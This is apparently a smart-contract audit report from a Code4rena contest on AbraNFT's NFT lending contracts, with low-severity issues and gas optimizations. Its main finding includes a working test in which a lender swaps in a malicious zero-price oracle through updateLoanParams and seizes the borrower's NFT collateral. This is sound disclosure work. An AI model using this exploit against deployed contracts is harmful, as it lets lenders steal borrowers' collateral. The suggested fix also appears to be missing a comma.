AbraNFT contest - horsefacts's results

Lines of code

https://github.com/code-423n4/2022-04-abranft/blob/35906782c9ca3d167b96ccdbbdf6a9f61497aa7f/contracts/NFTPairWithOracle.sol#L223

Vulnerability details

The updateLoanParams function in NFTPairWithOracle.sol allows the lender to update parameters for an outstanding loan (duration, valuation, annual interest, and collateralization ratio) as long as they are the same or better for the borrower. These params are passed using a TokenLoanParams struct, which includes an INFTOracle contract field. If a lender calls updateLoanParams with the borrower's original parameters, but a new INFTOracle address, they can change the price oracle.

Impact: Malicious lenders can accept a borrower's requested loan, swap the price oracle address to a malicious contract, and immediately seize the borrower's collateral.

Scenario:

• Alice calls requestLoan to request a loan with valuation 1000, duration 86400 (1 day), annual interest 2000, collateralization ratio 5000, and the address of a trusted public price oracle.
• Carol calls lend and accepts the loan.
• Carol calls updateLoanParams with the original loan terms and the address of a malicious oracle that she controls. Since these are at least as good as the existing terms, the new parameters including the malicious oracle address are saved to the tokenLoanParams mapping.
• Carol's malicious oracle always returns a zero price. The loan is now undercollateralized and Carol can call removeCollateral to seize Alice's collateral.

Test case:

  describeSnapshot("Oracle updates", () => {
    let tomorrow: number;
    let params1: ILoanParamsWithOracle;
    let pair: NFTPairWithOracle;

    before(async () => {
      pair = await deployPairWithOracle();
      tomorrow = Math.floor(new Date().getTime() / 1000) + 86400;

      for (const signer of [alice, bob, carol]) {
        await apes.connect(signer).setApprovalForAll(pair.address, true);
      }

      params1 = {
        valuation: getBigNumber(1000),
        duration: DAY,
        annualInterestBPS: 2000,
        ltvBPS: 5000,
        oracle: oracle.address // A mock oracle that returns a stubbed value of 10_000
      };

      await pair.connect(alice).requestLoan(apeIds.aliceOne, params1, alice.address, false);
    });

    it("Lender can change price oracle for outstanding loan", async () => {
      // Carol accepts Alice's loan at proposed terms
      await pair.connect(carol).lend(apeIds.aliceOne, params1, false);

      // Same parameters, different price oracle
      let params2 = {
        valuation: getBigNumber(1000),
        duration: DAY,
        annualInterestBPS: 2000,
        ltvBPS: 5000,
        oracle: maliciousOracle.address // A malicious oracle that returns a stubbed value of 0
      };
      // Carol can swap the price oracle by calling updateLoanParams
      // with the same or better terms and a different oracle address.
      // This oracle can be a malicious contract controlled by Carol.
      await pair.connect(carol).updateLoanParams(apeIds.aliceOne, params2);

      // Carol's malicious oracle returns a zero price. The loan is undercollateralized
      // and Carol can immediately seize the collateral.
      await pair.connect(carol).removeCollateral(apeIds.aliceOne, carol.address);
      expect(await apes.ownerOf(apeIds.aliceOne)).to.eq(carol.address);
    });
  });

Recommendation:

Check that the lender has not changed the price oracle in updateLoanParams:

NFTPairWithOracle.sol#updateLoanParams

    function updateLoanParams(uint256 tokenId, TokenLoanParams memory params) public {
        TokenLoan memory loan = tokenLoan[tokenId];
        if (loan.status == LOAN_OUTSTANDING) {
            // The lender can change terms so long as the changes are strictly
            // the same or better for the borrower:
            require(msg.sender == loan.lender, "NFTPair: not the lender");
            TokenLoanParams memory cur = tokenLoanParams[tokenId];
            require(
                params.duration >= cur.duration &&
                    params.valuation <= cur.valuation &&
                    params.annualInterestBPS <= cur.annualInterestBPS &&
                    params.ltvBPS <= cur.ltvBPS
                "NFTPair: worse params"
            );
            require(params.oracle == cur.oracle, "NFTPair: cannot change oracle");
        } else if (loan.status == LOAN_REQUESTED) {
            // The borrower has already deposited the collateral and can
            // change whatever they like
            require(msg.sender == loan.borrower, "NFTPair: not the borrower");
        } else {
            // The loan has not been taken out yet; the borrower needs to
            // provide collateral.
            revert("NFTPair: no collateral");
        }
        tokenLoanParams[tokenId] = params;
        emit LogUpdateLoanParams(tokenId, params.valuation, params.duration, params.annualInterestBPS, params.ltvBPS);
    }

Note: throughout this report, findings related to NFTPair.sol also apply to NFTPairWithOracle.sol. Rather than note that everything applies to both contracts, I'll note explicitly if a finding only applies to one or the other.

Initializer can be frontrun

If a clone contract is not deployed and initialized in the same transaction, the init function can be frontrun. Since clones are meant to be deployed and initiated atomically using the BoringFactory, this is unlikely, but note that this is possible if a clone contract is deployed outside the factory.

Functions can be declared external

Several public functions are not called internally and can be declared external:

• NFTPair#init
• NFTPair#updateLoanParams
• NFTPair#withdrawFees
• NFTPair#setFeeTo

Missing zero address check in init

NFTPair#init validates that the collateral address is not address(0), but does not check the asset address.

Missing zero address check in setFeeTo

NFTPair#setFeeTo does not check that the newFeeTo parameter is not address(0).

Avoid use of native ecrecover

NFTPair#requestAndBorrow and NFTPair#takeCollateralAndLend use the native ecrecover function, which is susceptible to signature malleability. Since these functions also use a nonce, this can't be exploited for a replay attack as implemented, but note that this could be a vulnerability if used without a nonce. Consider using OpenZeppelin's ECDSA library, which rejects malleable signatures.

Effects after interactions in _requestLoan

_requestLoan changes state after calling collateral.transferFrom. It's safer and more idiomatic to perform interactions after state changing effects.

NFTPair.sol#_requestLoan

    function _requestLoan(
        address collateralProvider,
        uint256 tokenId,
        TokenLoanParams memory params,
        address to,
        bool skim
    ) private {
        // Edge case: valuation can be zero. That effectively gifts the NFT and
        // is therefore a bad idea, but does not break the contract.
        require(tokenLoan[tokenId].status == LOAN_INITIAL, "NFTPair: loan exists");
        if (skim) {
            require(collateral.ownerOf(tokenId) == address(this), "NFTPair: skim failed");
        } else {
            collateral.transferFrom(collateralProvider, address(this), tokenId);
        }
        TokenLoan memory loan;
        loan.borrower = to;
        loan.status = LOAN_REQUESTED;
        tokenLoan[tokenId] = loan;
        tokenLoanParams[tokenId] = params;

        emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS);
    }

Recommendation: Move the collateral transfer interaction after state changing effects. For example:

    function _requestLoan(
        address collateralProvider,
        uint256 tokenId,
        TokenLoanParams memory params,
        address to,
        bool skim
    ) private {
        // Edge case: valuation can be zero. That effectively gifts the NFT and
        // is therefore a bad idea, but does not break the contract.
        require(tokenLoan[tokenId].status == LOAN_INITIAL, "NFTPair: loan exists");
        if (skim) {
            require(collateral.ownerOf(tokenId) == address(this), "NFTPair: skim failed");
        }

        tokenLoan[tokenId].borrower = to;
        tokenLoan[tokenId].status = LOAN_REQUESTED;
        tokenLoanParams[tokenId] = params;

        if (!skim) collateral.transferFrom(collateralProvider, address(this), tokenId);

        emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS);
    }

Incorrect comment on signature hashes

Comments describing the format of lend and borrow signature hashes mention including the asset and collateral address in the signature hash, but these hashes are not actually constructed with the asset/collateral address:

NFTPair#L337-L345

    // NOTE on signature hashes: the domain separator only guarantees that the
    // chain ID and master contract are a match, so we explicitly include the
    // clone address (and the asset/collateral addresses):

    // keccak256("Lend(address contract,uint256 tokenId,bool anyTokenId,uint128 valuation,uint64 duration,uint16 annualInterestBPS,uint256 nonce,uint256 deadline)")
    bytes32 private constant LEND_SIGNATURE_HASH = 0x06bcca6f35b7c1b98f11abbb10957d273a681069ba90358de25404f49e2430f8;

    // keccak256("Borrow(address contract,uint256 tokenId,uint128 valuation,uint64 duration,uint16 annualInterestBPS,uint256 nonce,uint256 deadline)")
    bytes32 private constant BORROW_SIGNATURE_HASH = 0xf2c9128b0fb8406af3168320897e5ff08f3bb536dd5f804c29ed276e93ec4336;

Unused library

NFTPair includes and uses the RebaseLibrary library, but the Rebase type is unused.

Duplicated interfaces

Both NFTPair.sol and NFTPairWithOracle.sol share the same ILendingClub and INFTPair interfaces defined inline at the top of the contract code. It's recommended to extract each interface to a reusable file to remove duplication, enable reuse, and avoid errors.

Unused function in ILendingClub

The ILendingClub interface defines a lendingConditions function, but it is unused throughout the codebase.

Write TokenLoan attributes directly in _requestLoan function

When adding a new entry to the tokenLoan mapping in _requestLoan, it's cheaper to write the TokenLoan attributes directly rather than first creating the TokenLoan in memory.

Average impact: 327 gas.

Before:

NFTPair#_requestLoan

        TokenLoan memory loan;
        loan.borrower = to;
        loan.status = LOAN_REQUESTED;
        tokenLoan[tokenId] = loan;
        tokenLoanParams[tokenId] = params;

        emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS);

·---------------------------------------------------|---------------------------|-------------|-----------------------------·
|               Solc version: 0.6.12                ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 30000000 gas  │
····················································|···························|·············|······························
|  Methods                                          ·               27 gwei/gas               ·       2763.73 usd/eth       │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  requestAndBorrow           ·     257875  ·     283651  ·     276612  ·           11  ·      20.64  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  requestLoan                ·     103348  ·     171316  ·     156554  ·           17  ·      11.68  │
······················|·····························|·············|·············|·············|···············|··············

After:

        tokenLoan[tokenId].borrower = to;
        tokenLoan[tokenId].status = LOAN_REQUESTED;
        tokenLoanParams[tokenId] = params;

        emit LogRequestLoan(to, tokenId, params.valuation, params.duration, params.annualInterestBPS);

·---------------------------------------------------|---------------------------|-------------|-----------------------------·
|               Solc version: 0.6.12                ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 30000000 gas  │
····················································|···························|·············|······························
|  Methods                                          ·               27 gwei/gas               ·       2767.03 usd/eth       │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  requestAndBorrow           ·     257544  ·     283320  ·     276287  ·           11  ·      20.64  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  requestLoan                ·     103018  ·     170989  ·     156227  ·           17  ·      11.67  │
······················|·····························|·············|·············|·············|···············|··············

Write TokenLoan attributes directly in _lend function

When adding a new entry to the tokenLoan mapping in _lend, it's cheaper to write the TokenLoan attributes directly rather than updating attributes in memory, then writing the struct.

Average impact: 367 gas.

This optimization also applies to NFTPairWithOracle#_lend.

Before:

NFTPair.sol#_lend

        loan.lender = lender;
        loan.status = LOAN_OUTSTANDING;
        loan.startTime = uint64(block.timestamp); // Do not use in 12e10 years..
        tokenLoan[tokenId] = loan;

        emit LogLend(lender, tokenId);

·---------------------------------------------------|---------------------------|-------------|-----------------------------·
|               Solc version: 0.6.12                ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 30000000 gas  │
····················································|···························|·············|······························
|  Methods                                          ·               27 gwei/gas               ·       2780.81 usd/eth       │
······················|·····························|·············|·············|·············|···············|··············
|  Contract           ·  Method                     ·  Min        ·  Max        ·  Avg        ·  # calls      ·  usd (avg)  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  lend                       ·      80531  ·     114707  ·     110822  ·           24  ·       8.32  │
······················|·····························|·············|·············|·············|···············|··············

After:

        tokenLoan[tokenId].lender = lender;
        tokenLoan[tokenId].status = LOAN_OUTSTANDING;
        tokenLoan[tokenId].startTime = uint64(block.timestamp);

        emit LogLend(lender, tokenId);

·---------------------------------------------------|---------------------------|-------------|-----------------------------·
|               Solc version: 0.6.12                ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 30000000 gas  │
····················································|···························|·············|······························
|  Methods                                          ·               27 gwei/gas               ·       2780.81 usd/eth       │
······················|·····························|·············|·············|·············|···············|··············
|  Contract           ·  Method                     ·  Min        ·  Max        ·  Avg        ·  # calls      ·  usd (avg)  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  lend                       ·      80164  ·     114340  ·     110455  ·           24  ·       8.26  │
······················|·····························|·············|·············|·············|···············|··············

Delete tokenLoanParams for gas refund

The token's entry in the tokenLoanParams mapping can be cleared in repay and removeCollateral for a gas refund.

This optimization also applies to NFTPairWithOracle#repay and NFTPairWithOracle#removeCollateral.

Average impact: 1716 gas for repay, 287 gas for removeCollateral.

Before:

NFTPair.sol#repay

        // No underflow: PROTOCOL_FEE_BPS < BPS by construction.
        feesEarnedShare += feeShare;
        delete tokenLoan[tokenId];

        bentoBox.transfer(asset, from, loan.lender, totalShare - feeShare);
        collateral.transferFrom(address(this), loan.borrower, tokenId);

        emit LogRepay(from, tokenId);

NFTPair.sol#removeCollateral

        // If there somehow is collateral but no accompanying loan, then anyone
        // can claim it by first requesting a loan with `skim` set to true, and
        // then withdrawing. So we might as well allow it here..
        delete tokenLoan[tokenId];
        collateral.transferFrom(address(this), to, tokenId);
        emit LogRemoveCollateral(tokenId, to);

·---------------------------------------------------|---------------------------|-------------|-----------------------------·
|               Solc version: 0.6.12                ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 30000000 gas  │
····················································|···························|·············|······························
|  Methods                                          ·               27 gwei/gas               ·       2780.81 usd/eth       │
······················|·····························|·············|·············|·············|···············|··············
|  Contract           ·  Method                     ·  Min        ·  Max        ·  Avg        ·  # calls      ·  usd (avg)  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  removeCollateral           ·      56527  ·      93754  ·      83136  ·           14  ·       6.24  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  repay                      ·     119866  ·     148654  ·     139744  ·           24  ·      10.49  │
······················|·····························|·············|·············|·············|···············|··············

After:

NFTPair.sol#repay

        // No underflow: PROTOCOL_FEE_BPS < BPS by construction.
        feesEarnedShare += feeShare;
        delete tokenLoan[tokenId];
        delete tokenLoanParams[tokenId];

        bentoBox.transfer(asset, from, loan.lender, totalShare - feeShare);
        collateral.transferFrom(address(this), loan.borrower, tokenId);

        emit LogRepay(from, tokenId);

NFTPair.sol#removeCollateral

        // If there somehow is collateral but no accompanying loan, then anyone
        // can claim it by first requesting a loan with `skim` set to true, and
        // then withdrawing. So we might as well allow it here..
        delete tokenLoan[tokenId];
        delete tokenLoanParams[tokenId];

        collateral.transferFrom(address(this), to, tokenId);
        emit LogRemoveCollateral(tokenId, to);

·---------------------------------------------------|---------------------------|-------------|-----------------------------·
|               Solc version: 0.6.12                ·  Optimizer enabled: true  ·  Runs: 200  ·  Block limit: 30000000 gas  │
····················································|···························|·············|······························
|  Methods                                          ·               27 gwei/gas               ·       2796.70 usd/eth       │
······················|·····························|·············|·············|·············|···············|··············
|  Contract           ·  Method                     ·  Min        ·  Max        ·  Avg        ·  # calls      ·  usd (avg)  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  removeCollateral           ·      59001  ·      94047  ·      82849  ·           14  ·       6.26  │
······················|·····························|·············|·············|·············|···············|··············
|  NFTPair            ·  repay                      ·     118150  ·     146938  ·     138028  ·           24  ·      10.42  │
······················|·····························|·············|·············|·············|···············|··············